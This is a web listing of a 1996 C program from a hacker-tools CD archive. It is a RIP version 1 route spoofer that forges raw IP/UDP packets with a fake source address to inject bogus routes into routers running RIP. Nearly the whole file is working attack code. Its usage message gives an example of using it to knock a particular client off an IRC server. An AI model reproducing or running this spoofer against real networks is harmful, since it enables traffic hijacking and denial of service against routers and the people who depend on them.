home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / rip.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  5.0 KB  |  181 lines

  1.  
  2. [ http://www.rootshell.com 11/24/97 ]
  3.  
  4. /*
  5.  * RIP (Routing Information Protocol) Version 1 Spoofer
  6.  *
  7.  * (C) 1996 Kit Knox <kit@connectnet.com>
  8.  *
  9.  * Example usage:
  10.  * rip 1.1.1.1 2.2.2.2 3.3.3.3
  11.  *
  12.  * This would tell machine/router 2.2.2.2 to add a route for 3.3.3.3
  13.  * with a gateway of 1.1.1.1
  14.  *
  15.  * If the box is a UNIX machine, it must be running gated/routed.
  16.  * Many other normal routers support RIPV1 as well (Cisco, Ascend,
  17.  * Livingston, etc)  Mileage may vary.
  18.  *
  19.  */
  20.  
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <string.h>
  25. #include <unistd.h>
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netinet/in.h>
  29. #include <netinet/in_systm.h>
  30. #include <netinet/ip.h>
  31. #include <netinet/ip_tcp.h>
  32. #include <linux/udp.h>
  33. #include <netinet/protocols.h>
  34. #include <netdb.h>
  35. #include <protocols/routed.h>
  36. #include <linux/route.h>
  37.  
  38. #define err(x) { fprintf(stderr, x); exit(1); }
  39. #define errs(x, y) { fprintf(stderr, x, y); exit(1); }
  40.  
  41. /*
  42.  * in_cksum --
  43.  *  Checksum routine for Internet Protocol family headers (C Version)
  44.  */
  45. unsigned short in_cksum(addr, len)
  46. u_short *addr;
  47. int len;
  48. {
  49.     register int nleft = len;
  50.     register u_short *w = addr;
  51.     register int sum = 0;
  52.     u_short answer = 0;
  53.  
  54.     /*
  55.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  56.      * sequential 16 bit words to it, and at the end, fold back all the
  57.      * carry bits from the top 16 bits into the lower 16 bits.
  58.      */
  59.     while (nleft > 1)  {
  60.         sum += *w++;
  61.         nleft -= 2;
  62.     }
  63.  
  64.     /* mop up an odd byte, if necessary */
  65.     if (nleft == 1) {
  66.         *(u_char *)(&answer) = *(u_char *)w ;
  67.         sum += answer;
  68.     }
  69.  
  70.     /* add back carry outs from top 16 bits to low 16 bits */
  71.     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  72.     sum += (sum >> 16);         /* add carry */
  73.     answer = ~sum;              /* truncate to 16 bits */
  74.     return(answer);
  75. }
  76.  
  77. /* Send faked UDP packet. */
  78. int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
  79. struct sockaddr_in *sin;
  80. unsigned short int s, datalen, sport, dport;
  81. unsigned long  int saddr, daddr;
  82. char *data;
  83. {  
  84.   struct iphdr  ip;
  85.   struct udphdr udp;
  86.   static char packet[8192];
  87.  
  88.   /* Fill in IP header values. */
  89.   ip.ihl      = 5;
  90.   ip.version  = 4;
  91.   ip.tos      = 0;
  92.   ip.tot_len  = htons(28 + datalen);
  93.   ip.id       = htons(31337 + (rand()%100));
  94.   ip.frag_off = 0;
  95.   ip.ttl      = 255;
  96.   ip.protocol = IPPROTO_UDP;
  97.   ip.check    = 0;
  98.   ip.saddr    = saddr;
  99.   ip.daddr    = daddr;
  100.   ip.check    = in_cksum((char *)&ip, sizeof(ip));
  101.  
  102.   /* Fill in UDP header values. Checksums are unnecassary. */
  103.   udp.source = htons(sport);
  104.   udp.dest   = htons(dport);
  105.   udp.len    = htons(8 + datalen);
  106.   udp.check  = (short) 0;
  107.  
  108.   /* Copy the headers into our character array. */
  109.   memcpy(packet, (char *)&ip, sizeof(ip));
  110.   memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
  111.   memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);
  112.  
  113.   return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0,
  114.          (struct sockaddr *)sin, sizeof(struct sockaddr_in)));
  115. }
  116.  
  117. /* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */
  118. unsigned int lookup(host)
  119. char *host;
  120. {
  121.   unsigned int addr;
  122.   struct hostent *he;
  123.  
  124.   addr = inet_addr(host);    /* Try if it's a "127.0.0.1" style string */
  125.   if (addr == -1)         /* If not, lookup the host */
  126.   {
  127.     he = gethostbyname(host);
  128.     if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
  129.       return 0;
  130.  
  131.     bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
  132.   }
  133.   return(addr);
  134. }
  135.  
  136. void
  137. main(argc, argv)
  138. int argc; char **argv;
  139. {
  140.   unsigned int saddr, daddr, rt_to_add;
  141.   struct sockaddr_in sin;
  142.   int s;
  143.   struct rip rp;
  144.   struct netinfo *ni = rp.rip_nets;
  145.   /* Heh, a little wacky.. but it worked */
  146.   register struct sockaddr_in *sin2 = (struct sockaddr_in *)&ni->rip_dst;
  147.  
  148.   if(argc != 4)
  149.     errs("Usage: %s <source_addr> <dest_addr> <route>\n\nsource = bogus host on the same netmask as dest\ndest = actual router or host running RIP\nroute = target system\n\nExample: For stealth to remove client 1.2.3.4\n         rip 206.26.140.254 irc.stealth.net 1.2.3.4\n",argv[0]);
  150.  
  151.   /* Open raw socket. */
  152.   if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  153.     err("Unable to open raw socket.\n");
  154.  
  155.   setuid(getuid());    /* back to real user, if suid root, for security */
  156.  
  157.   /* Resolve Addresses. */
  158.   if(!(saddr = lookup(argv[1])))
  159.     err("Unable to lookup source address.\n");
  160.   if(!(daddr = lookup(argv[2])))
  161.     err("Unable to lookup destination address.\n");
  162.   if(!(rt_to_add = lookup(argv[3])))
  163.     err("Unable to lookup route address.\n");
  164.  
  165.   sin.sin_family     = AF_INET;
  166.   sin.sin_addr.s_addr= daddr;
  167.   sin.sin_port       = 520;
  168.   /* Fill in RIP packet info */
  169.   rp.rip_cmd = RIPCMD_RESPONSE;
  170.   rp.rip_vers = RIPVERSION; /* Must be version 1 */
  171.   ni->rip_dst.sa_family = htons(AF_INET);
  172.   ni->rip_metric = htonl(1);
  173.   memcpy(rp.rip_nets, ni, sizeof(ni));
  174.   sin2->sin_addr.s_addr = rt_to_add;
  175.   if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1)
  176.   {
  177.     perror("sendpkt_udp");
  178.     err("Error sending the UDP packet.\n");
  179.   }
  180. }
  181.